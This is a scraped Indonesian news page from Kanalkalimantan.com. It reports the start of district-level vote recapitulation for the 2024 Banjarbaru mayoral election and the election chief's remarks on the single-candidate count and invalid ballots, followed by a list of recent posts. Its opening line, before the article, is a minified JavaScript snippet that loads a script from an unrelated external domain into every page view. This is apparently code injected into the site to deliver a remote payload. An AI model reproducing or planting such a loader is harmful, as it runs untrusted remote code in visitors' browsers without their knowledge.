(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

Mulai Rekapitulasi Tingkat Kecamatan se Kota Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Tahapan Pemilihan Kepala Daerah (Pilkada) serentak tahun 2024 di Kota Banjarbaru dilanjutkan pada proses rekapitulasi di tingkat kecamatan.

Ketua Komisi Pemilihan Umum (KPU) Kota Banjarbaru, Dahtiar mengatakan, rata-rata kecamatan di Kota Banjarbaru hari ini serentak memulai proses rekapitulasi hasil perhitungan perolehan suara pada Sabtu (30/11/2024).

“Tahapan ini memerlukan waktu 1-2 hari bisa saja selesai, karena tidak banyak kotak pada Pilkada ini,” ujar Ketua KPU Banjarbaru, Dahtiar saat diwawancarai, Sabtu (30/11/2024) siang.

Baca juga: Menjelajahi Keindahan Desa Bantaragung, Majalengka Bersama Kiky Aprilia. Saksikan Program ‘Rasa Authentic’ di MNCTV

Dalam proses, Dahtiar menjelaskan, PPK dan PPS yang melakukan rekapitulasi ini mempedomani Peraturan KPU (PKPU) Nomor 18.

“Rekapitulasi ini berjenjang nanti kalau sudah selesai kecamatan akan berlanjut rekapituasi dan juga rapat pleno penetapan hasil rekapitulasi di tingkat kota,” jelas dia.

Terkait dengan mekanisme perhitungan dan juga penentuan pemenang menurut Dahtiar, KPU perlu memberikan edukasi kepada masyarakat bahwa berdasakan Surat Keputusan KPU RI Nomor 1774 menegaskan Pilwali Banjarbaru tidak menerapkan skema kotak kosong.

Baca juga: Dipesan Seseorang, Karangan Bunga Ucapan Kemenangan Demokrasi di Depan Balai Kota Banjarbaru

“Berdasarkan Surat Keputusan KPU RI Nomor 1774 jelas di Kota Banjarbaru tidak dengan mekanisme kotak kosong tapi perhitungan untuk satu paslon,” ungkap dia.

“Oleh karena itu berapa pun hasilnya nanti itu akan dihitung,” sambungnya.

Tak hanya itu, kata Dahtiar juga perlu disampaikan kepada masyarakat bahwa terkait dengan surat suara tidak sah itu dibagi atas beberapa varian.

Baca juga: Buka Posko Pengaduan, Denny Indrayana Cs Siapkan Gugatan Hasil Pilwali Banjarbaru ke MK

“Jadi bukan berarti bahwa surat suara itu adalah surat suara untuk calon yang dibatalkan, karena dalam variannya itu ada surat suara yang dicoblos untuk kedua paslon kemudian ada yg tidak sama sekali dicoblos, ada yang dicoret coret, hingga ada yang mencoblos tidak mengenai kolom,” jelasnya.

Adanya beberapa varian surat suara ini katanya membuat tidak bisa dimonopoli atau diklaim bahwa itu adalah surat suara untuk calon yang dibatalkan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

4 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

4 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

5 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

6 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

6 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

7 jam ago

This website uses cookies.